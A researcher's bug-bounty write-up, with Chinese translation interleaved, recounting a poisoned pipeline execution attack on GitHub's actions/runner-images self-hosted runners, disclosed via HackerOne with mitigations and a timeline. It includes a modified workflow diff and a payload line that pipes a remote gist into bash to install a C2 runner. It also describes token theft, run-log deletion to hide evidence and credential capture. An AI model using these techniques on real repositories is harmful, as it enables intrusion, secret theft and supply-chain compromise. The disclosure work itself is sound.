One Supply Chain Attack to Rule Them All

Preface 前言

Let’s think for a moment what a nightmare supply chain attack could be. An attack that would be so impactful that it could be chained to target almost every company in the world. For an attacker to carry out such an attack they would need to insert themselves into a component fundamental to building the largest open-source software projects on the Internet.
让我们想一想，供应链攻击可能是一场噩梦。这种攻击的影响如此之大，以至于它可以被链接起来，以针对世界上几乎所有公司。对于攻击者来说，要进行这样的攻击，他们需要将自己插入到一个组件中，这是构建互联网上最大的开源软件项目的基础。

What would an attacker need to target in order to carry out this attack? Cloud infrastructure would certainly qualify. What about build agents? Those would certainly be impactful, and SolarWinds put that attack on the map. If an attacker wanted more, the attacker would instead need to target SaaS companies providing hosted build services. Services like GitLab CI, TravisCI, CircleCI, BuildKite, and GitHub Actions fall within this category.
攻击者需要针对什么目标才能进行此攻击？云基础设施当然符合条件。构建代理呢？这些肯定会产生影响，SolarWinds 将这种攻击放在了地图上。如果攻击者想要更多，攻击者将需要以提供托管构建服务的 SaaS 公司为目标。GitLab CI、TravisCI、CircleCI、BuildKite 和 GitHub Actions 等服务都属于这一类。

GitHub Actions Runners GitHub Actions 运行器

Let’s jump to the largest CI/CD service on the market: GitHub Actions. GitHub Actions’ primary draw is that it is free for public repositories. It’s hard for open-source software projects to choose another provider when their compute is provided free of charge. Beyond that, it is easy to use and tightly integrated into GitHub. For anyone used to wrestling with their own custom Jenkins pipeline configuration, GitHub Actions is a blessing.
让我们跳转到市场上最大的 CI/CD 服务：GitHub Actions。GitHub Actions 的主要吸引力在于它对公共仓库免费。开源软件项目在免费提供计算时很难选择其他提供商。除此之外，它还易于使用并紧密集成到 GitHub 中。对于任何习惯于使用自己的自定义 Jenkins 管道配置的人来说，GitHub Actions 都是一种祝福。

Runner Types 流道类型

GitHub Actions builds run on two types of build runners. One type is GitHub’s hosted runners, for which GitHub offers Windows, OS X and Linux images. The images for these runners are updated at a weekly cadence by GitHub’s runner images team, and the source code is public at https://github.com/actions/runner-images. The vast majority of workflows on GitHub run on hosted runners. If you’ve configured an Actions workflow, you might recognize ‘ubuntu-latest’, ‘macos-latest’ , or ‘windows-latest’.
GitHub Actions 构建在两种类型的构建运行器上运行。一种类型是 GitHub 的托管运行器，GitHub 为其提供 Windows、OS X 和 Linux 映像。GitHub 的运行器映像团队每周更新一次这些运行器的映像，源代码在 https://github.com/actions/runner-images 时公开。GitHub 上的绝大多数工作流都在托管运行器上运行。如果您配置了操作工作流，您可能会识别出“ubuntu-latest”、“macos-latest”或“windows-latest”。

The second class is self-hosted runners. These are build agents hosted by end users running the Actions runner agent on their own infrastructure. As one would expect, securing and protecting the runners is the responsibility of end users, not GitHub. For this reason, GitHub recommends against using self-hosted runners on public repositories. This advice is not followed by some fairly large organizations, many of whom who had non-ephemeral self-hosted runners attached to public repositories with default groups and workflow approval settings.
第二类是自托管运行器。这些是由最终用户在其自己的基础结构上运行 Actions 运行程序代理托管的构建代理。正如人们所期望的那样，保护运行器是最终用户的责任，而不是 GitHub。因此，GitHub 建议不要在公共仓库上使用自托管运行器。一些相当大的组织没有遵循这一建议，其中许多组织将非临时自托管运行器附加到具有默认组和工作流审批设置的公共存储库。

From a period of time between February 2023 and July 25th, 2023, one such repository was GitHub’s own actions/runner-images repository. You might be able to guess where story this is going. This is the story of how I discovered and exploited a Critical misconfiguration vulnerability and reported it to GitHub. The vulnerability provided access to internal GitHub infrastructure as well as secrets. There was also a very high likelihood that this access could be used to insert malicious code into all of GitHub’s runner base images – allowing an attacker to conduct a supply chain attack against every GitHub customer that used hosted runners.
从 2023 年 2 月到 2023 年 7 月 25 日之间的一段时间内，一个这样的仓库是 GitHub 自己的 actions/runner-images 仓库。你也许能猜到这个故事的走向。这是我如何发现和利用严重配置错误漏洞并将其报告给 GitHub 的故事。该漏洞提供了对内部 GitHub 基础设施和机密的访问。这种访问也极有可能被用来将恶意代码插入到GitHub的所有运行器基础映像中，从而允许攻击者对使用托管运行器的每个GitHub客户进行供应链攻击。

For my discovery and report I was awarded a $20,000 bug-bounty through GitHub’s HackerOne program.
由于我的发现和报告，我通过 GitHub 的 HackerOne 计划获得了 20,000 美元的漏洞赏金。

Self-Hosted Runners 自托管运行器

In order to understand this attack, we need to understand self-hosted runners and why they are such a risk on public repositories if not configured properly. There are also many risks of self-hosted runners on private repositories, which my colleagues and I at Praetorian dove into with https://www.praetorian.com/blog/self-hosted-github-runners-are-backdoors/ and our subsequent ShmooCon 2023 talk “Phanton of the Pipeline,” but we will focus on public repositories.
为了理解这种攻击，我们需要了解自托管运行器，以及为什么如果配置不当，它们会在公共存储库上造成如此大的风险。私有仓库上的自托管运行器也存在许多风险，我和我在 Praetorian 的同事与 https://www.praetorian.com/blog/self-hosted-github-runners-are-backdoors/ 以及我们随后的 ShmooCon 2023 演讲“管道的 Phanton ”进行了深入探讨，但我们将重点关注公共仓库。

By default, when a self-hosted runner is attached to a repository, or a default organization runner group that a public repository has access to, then any workflow running in that repository’s context can use that runner. As long as the runs-on field is set to self-hosted (or one of the labels associated with the runner), the runner will pick up the workflow and start processing it. There are ways to restrict this to specific workflows and triggering actors using runner group restrictions and pre-run hooks – but that is a topic for another post.
默认情况下，当自托管运行器附加到存储库或公共存储库有权访问的默认组织运行器组时，在该存储库的上下文中运行的任何工作流都可以使用该运行器。只要 runs-on 字段设置为自托管（或与运行器关联的标签之一），运行器就会选取工作流并开始处理它。有一些方法可以将其限制为特定的工作流程，并使用运行器组限制和预运行钩子来触发参与者 – 但这是另一篇文章的主题。

For workflows on default and feature branches, this isn’t an issue. Users must have write access to update branches within repositories. The problem is that this also applies to workflows from fork pull requests. GitHub’s documentation is fairly clear on this matter, and has been so since self-hosted runners were first introduced.
对于默认分支和功能分支上的工作流，这不是问题。用户必须具有写入权限才能更新存储库中的分支。问题在于，这也适用于分叉拉取请求的工作流。GitHub 的文档在这件事上相当清楚，自从首次引入自托管运行器以来就一直如此。

We recommend that you only use self-hosted runners with private repositories. This is because forks of your public repository can potentially run dangerous code on your self-hosted runner machine by creating a pull request that executes the code in a workflow.
我们建议您仅将自托管运行器与私有存储库一起使用。这是因为公共存储库的分支可能会通过创建在工作流中执行代码的拉取请求，在自托管运行器计算机上运行危险代码。

This is not an issue with GitHub-hosted runners because each GitHub-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution.
这对于 GitHub 托管的运行器来说不是问题，因为每个 GitHub 托管的运行器始终是一个干净的隔离虚拟机，并且在作业执行结束时会被销毁。

Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include:
在自托管运行器上运行的不受信任的工作流会给计算机和网络环境带来重大的安全风险，尤其是当计算机在作业之间保留其环境时。一些风险包括：

• Malicious programs running on the machine.
  计算机上运行的恶意程序。
• Escaping the machine’s runner sandbox.
  逃离计算机的运行器沙箱。
• Exposing access to the machine’s network environment.
  公开对计算机网络环境的访问。
• Persisting unwanted or dangerous data on the machine.
  在计算机上保留不需要的或危险的数据。

For more information about security hardening for self-hosted runners, see “Security hardening for GitHub Actions.”
有关自托管运行器的安全强化的详细信息，请参阅“GitHub Actions 的安全强化”。

GitHub Documentation – Self Hosted Runner Security
GitHub 文档 – Self Hosted Runner Security

Time and time again we in the information security world have seen that if a service has a default configuration, then a large number of users will not change that default setting. This is especially true when there isn’t a big warning prompt informing users about this when adding a runner to a public repository. You have to dig into documentation, and if you can easily get it working without reading the docs, then why bother reading the docs?
我们在信息安全领域一次又一次地看到，如果服务具有默认配置，那么大量用户将不会更改该默认设置。当将运行器添加到公共存储库时，没有大的警告提示通知用户这一点时尤其如此。你必须深入研究文档，如果你可以在不阅读文档的情况下轻松让它工作，那么为什么还要阅读文档呢？

Non-Ephemeral Runners 非临时跑步者

If you set up a self-hosted runner using the default steps – meaning you follow the steps printed under the ‘Add new self-hosted runner’ page in an organization or repository, you will have a non-ephemeral self-hosted runner. This means that it is possible to start a process in the background that will continue to run after the job completes, and modifications to files (such as programs on the path, etc. will persist). If the runner is non-ephemeral, then it is easy to deploy a persistence mechanism.
如果您使用默认步骤设置自托管运行器（这意味着您按照组织或存储库中“添加新的自托管运行器”页面下打印的步骤进行操作），您将拥有一个非临时的自托管运行器。这意味着可以在后台启动一个进程，该进程将在作业完成后继续运行，并且对文件的修改（例如路径上的程序等）将保留。如果运行器是非临时的，则很容易部署持久性机制。

You may ask: How can someone determine if a runner attached to a public repository is non-ephemeral? There isn’t a 100% clear way to determine this for all workflows, but there is one heuristic that is nearly always accurate. If the workflow contains the ‘actions/checkout’ GitHub action, then the run logs will contain a Cleaning the repository message. If this message is present, then it means that the runner is non-ephemeral, or the working directory of the runner is shared between builds – this is very rare. In either case, this is of interest.
你可能会问：如何确定附加到公共仓库的运行器是否是非临时的？对于所有工作流，没有 100% 明确的方法可以确定这一点，但有一种启发式方法几乎总是准确的。如果工作流包含“actions/checkout”GitHub 操作，则运行日志将包含一条 Cleaning the repository 消息。如果出现此消息，则意味着运行器是非临时的，或者运行器的工作目录在构建之间共享 – 这种情况非常罕见。无论哪种情况，这都很有趣。

Additionally, the runner name and machine names from the log will also provide hints. If a runner name is repeated, then it is likely to be non-ephemeral. Ephemeral runners will typically have runner names with randomized strings as part of the name.
此外，日志中的运行器名称和计算机名称也将提供提示。如果运行器名称重复，则它很可能是非临时的。临时运行器通常具有运行器名称，其中随机字符串作为名称的一部分。

Workflow Source of Truth
工作流事实来源

When a workflow executes from a fork pull request the GitHub Actions service uses YAML files within the ‘.github/workflows’ directory that have the ‘pull_request’ trigger within the workflow file. The workflow definition itself comes from the merge commit between the head and base branch of the pull request. This means that fork pull requests can make any modifications to workflow YAML files, including changing the runs-on field in order to gain access to a self-hosted runner that normally does not execute workflows from public forks. While GitHub doesn’t broadly advertise this behavior, this functionality is working as intended.

By changing a workflow file within their fork, and then creating a Pull Request anyone with a GitHub account can run arbitrary code on a self-hosted runner. The only roadblock here is GitHub’s workflow approval setting or workflow restrictions. The latter is a newer feature and hard to configure. By default, workflows from fork PRs will only run without approval if the user is a previous contributor. From an attacker’s perspective, this means that they only need to fix a typo or make a small code change in order to become a contributor. For actions/runner-images, this was a single character change.
通过更改其分支中的工作流文件，然后创建拉取请求，任何拥有 GitHub 帐户的人都可以在自托管运行器上运行任意代码。这里唯一的障碍是 GitHub 的工作流批准设置或工作流限制。后者是一个较新的功能，很难配置。默认情况下，仅当用户是以前的参与者时，来自分叉 PR 的工作流才会在未经批准的情况下运行。从攻击者的角度来看，这意味着他们只需要修复拼写错误或进行少量代码更改即可成为贡献者。对于 actions/runner-images，这是一个单字符更改。

In order to protect the privacy of GitHub employees and contractors I’ve redacted their handles and pictures. I want to be extremely clear that approving and merging this PR was in no way a failure on their part.
为了保护 GitHub 员工和承包商的隐私，我编辑了他们的句柄和图片。我想非常清楚的是，批准和合并这个 PR 绝不是他们的失败。

Once the pull request was merged, my account was a contributor, note the ‘Contributor’ badge that now shows up in the box. This meant that my account could execute workflows on pull_request without approval, as long as the repository had the default approval setting, which it did at the time.

Attack on actions/runner-images

Since the runner-images repository had 1) the default approval setting, 2) had a non-ephemeral self-hosted runner, and 3) my account was now a Contributor I had everything necessary to conduct a public Poisoned Pipeline Execution attack against the runner-images repository’s CI/CD workflows.

Planning the Attack

In order to explain how I planned the attack, we need to look at the actions/runner-images repository circa July 20th, 2023, which the commit right before the first of many changes GitHub pushed in response to my report.

The repository contained several CI workflows that used self-hosted runners to build Windows and MacOS runner images. Below is a workflow run from a build that ran on one of the non-ephemeral self-hosted runners attached to the repository. Note the write permissions associated with the GITHUB_TOKEN!

Ubuntu and Windows builds used runners with the label azure-builds, and MacOS builds ran on runners with the label macos-vmware.

The workflows themselves also used secrets. This meant that if I could persist on the runners while it processed a build, I would be able to access these clear-text secrets. Below is a snippet from the macos-generation.yml workflow showing some of the secrets used:

    - name: Build VM
      run: |
        $SensitiveData = @(
          'IP address:',
          'Using ssh communicator to connect:'
        )

         packer build -on-error=abort `
        -var="vcenter_server=${{ secrets.VISERVER_V2 }}" `
        -var="vcenter_username=${{ secrets.VI_USER_NAME }}" `
        -var="vcenter_password=${{ secrets.VI_PASSWORD }}" `
        -var="vcenter_datacenter=${{ env.VCENTER_DATACENTER }}" `
        -var="cluster_or_esxi_host=${{ env.ESXI_CLUSTER }}" `
        -var="esxi_datastore=${{ env.BUILD_DATASTORE }}" `
        -var="output_folder=${{ env.OUTPUT_FOLDER }}" `
        -var="vm_username=${{ secrets.VM_USERNAME }}" `
        -var="vm_password=${{ secrets.VM_PASSWORD }}" `
        -var="xcode_install_storage_url=${{ secrets.xcode_install_storage_url }}" `
        -var="xcode_install_sas=${{ secrets.xcode_install_sas }}" `
        -var="github_api_pat=${{ secrets.GH_FEED_TOKEN }}" `
        -var="build_id=${{ env.VM_NAME }}" `
        -var="baseimage_name=${{ inputs.base_image_name }}" `
        -color=false `

        ${{ inputs.template_path }} `
        | Where-Object {
            #Filter sensitive data from Packer logs
            $currentString = $_
            $sensitiveString = $SensitiveData | Where-Object { $currentString -match $_ }
            $sensitiveString -eq $null

The ubuntu-win-generation.yml workflow also used secrets in a similar manner. In order to get these secrets I would need to persist on the runner, wait until the runner picked up a legitimate build workflow, and then access the secrets. Since the secrets were part of a run step, the runner’s _temp directory would contain the secrets until the end of the workflow. This behavior is described in depth by Karim Rahal in his post on leaking secrets from GitHub Action.
工作流 ubuntu-win-generation.yml 也以类似的方式使用机密。为了获取这些机密，我需要保留在运行器上，等到运行器选取合法的构建工作流，然后访问这些机密。由于密钥是 run 步骤的一部分，因此运行器 _temp 的目录将包含密钥，直到工作流结束。Karim Rahal 在他关于从 GitHub Action 泄露机密的帖子中深入描述了这种行为。

I would also be able to obtain the GITHUB_TOKEN from the .git/config file of the checked out repository because the workflow used actions/checkout with the default setting of persisting credentials.
我还能够从签出存储库 .git/config 的文件中获取， GITHUB_TOKEN 因为该工作流与持久化凭据的默认设置一起使用 actions/checkout 。

Preparing the Payload 准备有效负载

My first step was to obtain persistence on the self-hosted runner. From my perspective, I did not know where these runners lived, what kind of egress controls they might have had, or EDR/firewall on the host. To ensure I would successfully obtain persistence, I used a payload install something I knew would be able to connect out to C2. That payload was – surprise – another self-hosted GitHub Actions runner agent!
我的第一步是在自托管运行器上获得持久性。从我的角度来看，我不知道这些运行器住在哪里，他们可能有什么样的出口控制，或者主机上的 EDR/防火墙。为了确保我能够成功获得持久性，我使用了一个有效负载安装，我知道它能够连接到 C2。令人惊讶的是，该有效负载是另一个自托管的 GitHub Actions 运行器代理！

I modified the linter.yml workflow to instead run a script after checking out the repository.
我修改了 linter.yml 工作流，改为在签出存储库后运行脚本。

-# CI Validation
-
 name: Linter
+run-name: "some CI testing"

 on:
   pull_request:
     branches: [ main ]
-    paths:
-      - '**.json'
-      - '**.md'
-      - '**.sh'
 jobs:
   build:
     name: Lint JSON & MD files
-    runs-on: ubuntu-latest
-
+    runs-on: ${{ matrix.os }}
+    strategy:
+      matrix:
+        version: [1, 2, 3]
+        os: [azure-builds, macos-vmware]
     steps:
       - name: Checkout Code
         uses: actions/checkout@v3
-        with:
-          fetch-depth: 0
-
       - name: Lint Code Base
-        uses: github/super-linter/slim@v4
+        continue-on-error: true

         env:
-          VALIDATE_ALL_CODEBASE: false
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          VALIDATE_JSON: true
-          VALIDATE_MARKDOWN: true
-          DEFAULT_BRANCH: ${{ github.base_ref }}
-          FILTER_REGEX_EXCLUDE: .*images/*/.*-Readme.md
-
-      - name: Checking shebang lines in MacOS and Ubuntu releases.
+           version: ${{ matrix.version }}
+           SYSTEM_NAME: ${{ matrix.os }}

         run: ./images.CI/shebang-linter.ps1
-        shell: pwsh
+      - name: Checking shebang lines in MacOS and Ubuntu releases.
+        if: always()
+        run: echo "Run ./images.CI/shebang-linter.ps1"
+# HACKERONE testing [email protected]

The shebang-linter.ps1 script now simply contained a payload (and it wasn’t a PowerShell script any longer)
该 shebang-linter.ps1 脚本现在只包含一个有效负载（它不再是 PowerShell 脚本）

#!/bin/bash
sudo apt -y install jq
sudo apt -y 安装 jq
curl -sSfL https://gist.githubusercontent.com/UncertainBadg3r/32c8fa0b13cdac6095b916a50b5bac34/raw/code | bash
curl -sSfL https://gist.githubusercontent.com/UncertainBadg3r/32c8fa0b13cdac6095b916a50b5bac34/raw/code |巴什

I won’t reveal exactly what the script did, but it essentially installed a self-hosted runner and connected it to my another private repository. If you read through GitHub’s API docs for runner registration, then you can probably figure out what the script did in order to install a runner each time without needing a new token.
我不会透露脚本到底做了什么，但它基本上安装了一个自托管运行器并将其连接到我的另一个私有存储库。如果您通读了 GitHub 的 API 文档以进行运行器注册，那么您可能可以弄清楚脚本的作用，以便每次都安装运行器而无需新令牌。

At this point, my payload was ready. The final step was to create PRs at a time when it would not be noticed, and right before the scheduled nightly run. It was essential that my workflow ran shortly before the nightly run, because that was my path to stealing the GITHUB_TOKEN along with secrets in order to prove impact.
此时，我的有效载荷已准备就绪。最后一步是在不会被注意到的时候，在预定的夜间运行之前创建 PR。我的工作流程必须在夜间运行前不久运行，因为这是我窃取 GITHUB_TOKEN 秘密以证明影响的途径。

The Attack 攻击

With my payload ready, I created a pull request from my fork. The pull request triggered workflow runs in the repository, and the linter workflow was picked up by the self-hosted runners. I had to do a bit of “on the fly debugging” as is common when you try a novel technique for the first time, but the outcome thankfully was the same.
准备好有效负载后，我从我的 fork 创建了一个拉取请求。拉取请求触发的工作流在存储库中运行，而 linter 工作流由自托管运行器选取。我不得不做一些“即时调试”，这在你第一次尝试新技术时很常见，但幸运的是，结果是一样的。

My CI test runs were now present in the run logs, and my C2 repository now had 6 self-hosted runners connecting from GitHub’s network and/or cloud environment. I also forced push the commit in my fork to close the PR.

At this point definitely wanted the build logs gone as soon as possible! And that is where the scheduled runs came into play.
在这一点上，肯定希望构建日志尽快消失！这就是计划运行发挥作用的地方。

Within my C2 repository, I configured a simple workflow that ran commands on the self-hosted runners.
在我的 C2 存储库中，我配置了一个简单的工作流，用于在自托管运行器上运行命令。

Since I now had what was essentially a web shell on the runners, I used it to capture the runner-images .git/config from within the runner’s working directory while a scheduled build was running. I simply Base64 encoded it and printed it to the run log.

I decoded the AUTHORIZATION header to capture the ghs_ token. This was the GITHUB_TOKEN from the scheduled workflow with write access, and it would be valid for the entire duration of the scheduled build.

My first task was to get rid of the run logs from my pull request. I used the GitHub API along with the token to delete the run logs for each of the workflows my PR triggered.
我的第一个任务是从我的拉取请求中删除运行日志。我使用 GitHub API 和令牌删除了我的 PR 触发的每个工作流的运行日志。

And just like that, the most obvious evidence of this attack was gone. GitHub did not detect the implantation, and I was now living within their network. Now, everything wasn’t perfect; however. Operator error happens. On the Linux runner, due to a silly bug in my implantation script I had accidentally installed the C2 runner in the checked out repository directory instead of the home directory.
就这样，这次袭击最明显的证据消失了。GitHub 没有检测到植入，我现在生活在他们的网络中。现在，一切都不完美;然而。发生操作员错误。在 Linux 运行器上，由于我的植入脚本中有一个愚蠢的错误，我不小心将 C2 运行器安装在签出的存储库目录中，而不是主目录中。

I had a shell for a short while, but this meant that when the scheduled build ran, it also killed my runner when it cleaned the repository.
我有一个 shell 很短的时间，但这意味着当计划的构建运行时，它也会在清理存储库时杀死我的运行器。

I could have easily re-implanted the machine, but what I had access to from the MacOS runner was more than enough at this point to prove impact for my disclosure.
我本可以很容易地重新植入机器，但在这一点上，我从 MacOS 运行器获得的内容足以证明对我的披露有影响。

Reaping the Spoils 收割战利品

Now that I had persistence, I focused on gathering proof of secret compromise to include in my report. I used the web-shell to print and encode the contents of the previously mentioned scripts containing the vCenter credentials.
现在我有了毅力，我专注于收集秘密妥协的证据，以包含在我的报告中。我使用 web-shell 打印和编码前面提到的包含 vCenter 凭据的脚本的内容。

As much as I wanted to, I did not to set up a SOCKS tunnel and try to log in to the vCenter instance and peek behind the curtain. I had enough evidence for a Critical report and I did not want to compromise any more sensitive information. I did verify I could reach its web interface with curl, so had I created a tunnel I would have been able to sign in.
尽管我愿意，但我没有设置 SOCKS 隧道并尝试登录到 vCenter 实例并窥视幕后。我有足够的证据来撰写批判性报告，我不想泄露任何更敏感的信息。我确实验证了我可以用 curl 访问它的 Web 界面，所以如果我创建了一个隧道，我就可以登录了。

In total, I lived on the ubuntu-unstable-o runner for 5 days. Once GitHub triaged the report and I saw initial mitigations rolling into the repo I removed the runners from my C2 repository, and before that I ran one final command as a memento.
我总共在 ubuntu-unstable-o 跑步者上住了 5 天。一旦 GitHub 对报告进行了分类，并且我看到初始缓解措施滚动到存储库中，我就从我的 C2 存储库中删除了运行器，在此之前，我运行了最后一个命令作为纪念。

How bad could it have been?
它能有多糟糕？

There are several unknowns here – most of which are intentional as part of conducting this operation under the terms of GitHub’s bug bounty program and my personal code of ethics as a security researcher.
这里有几个未知数——其中大部分是根据 GitHub 的漏洞赏金计划和我作为安全研究人员的个人道德准则进行此操作的一部分而故意的。

The biggest question is what stood between the access I gained and successfully deploying malicious code on the runner images used for all of GitHub’s and Azure Pipeline’s builds. I had already slipped past through several security boundaries – was there anything left that would have stopped me? Only GitHub knows the true answer to this; however, based on what I saw, there are some things I can say for certain.
最大的问题是，在我获得的访问权限和在用于所有 GitHub 和 Azure Pipeline 生成的运行器映像上成功部署恶意代码之间有什么障碍。我已经溜过了几个安全边界——还有什么可以阻止我的吗？只有 GitHub 知道这个问题的真正答案;但是，根据我所看到的，我可以肯定地说一些事情。

What was clear: I could have merged arbitrary code into the main branch using this vulnerability, and because of the weekly deployment cadence it is likely that a code change would have not been noticed before the image made it into the production pool.
显而易见的是：我可以使用此漏洞将任意代码合并到主分支中，并且由于每周部署节奏，在映像进入生产池之前，代码更改可能不会被注意到。

The other impacts were access to an internal MacOS private cloud vCenter as Administrator, Azure credentials that provided access to a storage account used to save CI off builds, and finally ability to tamper with the packer build process used for both MacOS and Windows CI builds (which may or may not be the same images eventually pulled into the production pool).
其他影响包括以管理员身份访问内部 MacOS 私有云 vCenter、提供对用于保存 CI 的存储帐户的 Azure 凭据，以及最终能够篡改用于 MacOS 和 Windows CI 生成的打包程序生成过程（这些映像可能与最终拉入生产池的映像相同，也可能不同）。

Modification of Code in Main
修改 Main 中的代码

Since I was able to control a GITHUB_TOKEN with full write permissions, I could have used the token to modify code within a feature branch (such as a subtle modification to a URL for a script/package downloaded during the build process) and used it to issue a ‘repository_dispatch’ event to trigger the ‘Merge pull request’ workflow.
由于我能够控制具有 GITHUB_TOKEN 完全写入权限的令牌，因此我可以使用该令牌来修改功能分支中的代码（例如对构建过程中下载的脚本/包的 URL 进行细微修改），并使用它来发出“repository_dispatch”事件以触发“合并拉取请求”工作流。

Since the deployment process followed a weekly cadence, and the codebase changed rapidly, it is very likely that the modification would go undetected, especially if an attacker set the commit name and email to a bot account or GitHub employee information. This article from Checkmarx showcases threat actors using this strategy in the wild.
由于部署过程遵循每周的节奏，并且代码库变化迅速，因此修改很可能不会被发现，特别是如果攻击者将提交名称和电子邮件设置为机器人帐户或 GitHub 员工信息。Checkmarx的这篇文章展示了在野外使用这种策略的威胁行为者。

Astute observers might note that this workflow would have also allowed me to steal the PRAPPROVAL_SECRET via a shell injection attack. The PAT belongs to a GitHub employee with write access to the repository. I determined this by observing current runs of the workflow: https://github.com/actions/runner-images/actions/workflows/merge_pull_request.yml. The PRs are merged quickly after an approval by the employee.
敏锐的观察者可能会注意到，这个工作流程还允许我通过炮弹注入攻击来窃取PRAPPROVAL_SECRET。PAT 属于对存储库具有写入权限的 GitHub 员工。我通过观察工作流的当前运行来确定这一点：https://github.com/actions/runner-images/actions/workflows/merge_pull_request.yml。在员工批准后，PR 会迅速合并。

If you cross reference the workflow logs with other PRs, you can conclude that:
如果将工作流日志与其他 PR 交叉引用，则可以得出结论：

• The PRAPPROVAL_SECRET is a PAT belonging to a GitHub Employee.
  是 PRAPPROVAL_SECRET 属于 GitHub 员工的 PAT。
  • It might be a fine-grained PAT with only PR approval permissions for actions/runner-images, but it is quite possible that it is a classic PAT with repo scope.
    它可能是一个细粒度的 PAT，只有 actions/runner-images 的 PR 批准权限，但它很可能是一个具有 repo 范围的经典 PAT。
• It would be possible to use the GITHUB_TOKEN to commit changes to these open PRs, as the workflow itself is making a merge commit and pushing it with a specific “bot account”.
  可以使用 提交 GITHUB_TOKEN 对这些打开的 PR 的更改，因为工作流本身正在进行合并提交并使用特定的“机器人帐户”推送它。

And there you have it, a clear path an attacker could have taken to tamper with the runner images code used for all GitHub and Azure Pipelines hosted runners. A skilled attacker could drop a payload that checked if the image was processing a workflow for a high-value target organization and only then run a second stage to perform a poisoned pipeline execution attack within GitHub’s build environment. The scariest part is that victims would have had absolutely no idea of this until an APT was already backdooring their builds and using their CI/CD secrets.
你有它，攻击者可能采取的明确路径来篡改用于所有 GitHub 和 Azure Pipelines 托管运行器的运行器映像代码。熟练的攻击者可以丢弃一个有效负载，该有效负载检查图像是否正在处理高价值目标组织的工作流，然后才运行第二阶段以在 GitHub 的构建环境中执行中毒的管道执行攻击。最可怕的是，受害者完全不知道这一点，直到 APT 已经为他们的构建设置后门并使用他们的 CI/CD 机密。

Poisoned Image Deployment Process
中毒映像部署过程

For Ubuntu and Windows images, the CI build process saved images to a Azure storage account. The workflow itself called that step ‘Create release for VM deployment’. It certainly sounds interesting!
对于 Ubuntu 和 Windows 映像，CI 生成过程会将映像保存到 Azure 存储帐户。工作流本身将该步骤称为“为 VM 部署创建版本”。这听起来确实很有趣！

      - name: Create release for VM deployment
        run: |
          $BuildId = ${{ github.run_id }} % [System.UInt32]::MaxValue
          ./images.CI/linux-and-win/create-release.ps1 `
            -BuildId $BuildId `
            -Organization ${{ secrets.RELEASE_TARGET_ORGANIZATION }} `
            -DefinitionId ${{ secrets.RELEASE_TARGET_DEFINITION_ID }} `
            -Project ${{ secrets.RELEASE_TARGET
_PROJECT }} `
            -ImageName ${{ env.ImageType }} `
            -AccessToken ${{ secrets.RELEASE_TARGET_TOKEN }}

If you dig deep into the PR comments for https://github.com/actions/runner-images/pull/7182, which introduced GitHub CI to the repository, you can see what some of these values would have been.
如果你深入研究 https://github.com/actions/runner-images/pull/7182 的 PR 注释，这些注释将 GitHub CI 引入存储库，你可以看到其中一些值会是什么。

maccloud Access maccloud 访问

If I had set up a reverse tunnel, I would have been able to use the vCenter administrator credentials to log in to the vCenter instance. If there were any paths from that vCenter instance to the production Mac runner environment, then an attacker could potentially modify image templates within vCenter.
如果我设置了反向隧道，我将能够使用 vCenter 管理员凭据登录到 vCenter 实例。如果存在从该 vCenter 实例到生产 Mac 运行器环境的任何路径，则攻击者可能会修改 vCenter 中的映像模板。

Attack and Disclosure Timeline
攻击和披露时间表

• July 18th, 2023 – Created Typo Fix Pull Request
  2023 年 7 月 18 日 – 创建错别字修复拉取请求
• July 20th, 2023 – Pull Request Merged
  2023 年 7 月 20 日 – 拉取请求已合并
• July 21st, 2023 – Conducted Attack and Deployed Persistence
  2023 年 7 月 21 日 – 进行攻击并部署持久性
• July 22nd, 2023 – Submitted Report through HackerOne
  2023 年 7 月 22 日 – 通过 HackerOne 提交报告
• July 24th, 2023 – Report Acknowledged
  2023 年 7 月 24 日 – 报告已确认
• July 25th, 2023 – Triaged by GitHub Staff, initial mitigations made
  2023 年 7 月 25 日 – 由 GitHub 员工进行分类，初步缓解措施
• July 26th, 2023 – Removed Persistence
  2023 年 7 月 26 日 – 删除了持久性
• November 14th, 2023 – Resolved and bounty Awarded
  2023 年 11 月 14 日 – 已解决并授予赏金

Mitigations 缓解措施

The easiest way to mitigate this class of vulnerability is to change the default setting of ‘Require approval for first-time contributors’ to ‘Require approval for all outside collaborators’. It is a no-brainer for any public repository that uses self-hosted runners to ensure that they are using the restrictive setting.
缓解此类漏洞的最简单方法是将默认设置“需要首次参与者的批准”更改为“需要所有外部协作者的批准”。对于任何使用自托管运行器的公共存储库来说，这都是不费吹灰之力的，以确保它们使用限制性设置。

An attacker can still try to conduct this attack by tricking a maintainer into clicking the approve button, but that has a much lower chance of success and would require creativity on part of the attacker in order to hide their injection payload among a much larger legitimate PR.
攻击者仍然可以尝试通过诱骗维护者单击批准按钮来进行此攻击，但这成功的机会要低得多，并且需要攻击者的创造力，以便将他们的注入有效载荷隐藏在更大的合法 PR 中。

Beyond this, there are many solutions to apply defense in depth measures to self-hosted runners, and that will be a topic for a future post. But the key thing is: it is really challenging to design a solution where you allow anyone to run arbitrary code on your infrastructure and not have some risks.
除此之外，还有许多解决方案可以对自托管运行器应用纵深防御措施，这将是未来帖子的主题。但关键是：设计一个允许任何人在您的基础架构上运行任意代码并且没有风险的解决方案确实具有挑战性。

There Was More, Much More
还有更多，更多

After disclosing this vulnerability, I quickly realized this issue was systemic. I decided to team up with one of my colleagues, John Stawinski, to find, exploit, and report this vulnerability class against organizations with high-paying bug bounty programs. Between my disclosure to GitHub, and the bounties earned afterward, we did pretty well for ourselves, and have a few additional disclosures currently under wraps that should eventually pay out.
在披露这个漏洞后，我很快意识到这个问题是系统性的。我决定与我的一位同事 John Stawinski 合作，针对拥有高薪漏洞赏金计划的组织查找、利用和报告此漏洞类别。在我向 GitHub 披露以及之后获得的赏金之间，我们为自己做得很好，并且目前还有一些额外的披露处于保密状态，最终应该会得到回报。

During these few months, we refined techniques to exploit all kinds of self-hosted runner configurations, from Linux, MacOS, Windows, and even ephemeral self-hosted runners using Actions Runner Controller. While conducting several of our operations we managed to gain enough access to pose an existential threat to some organizations – this was not the norm, but when a vulnerability drops an attacker right in a company’s DevOps environment, as root, with access to pipeline secrets, there is often little that an attacker can’t do. While most of our disclosures were made under strict confidentiality agreements, there were some big disclosures that we can talk about:
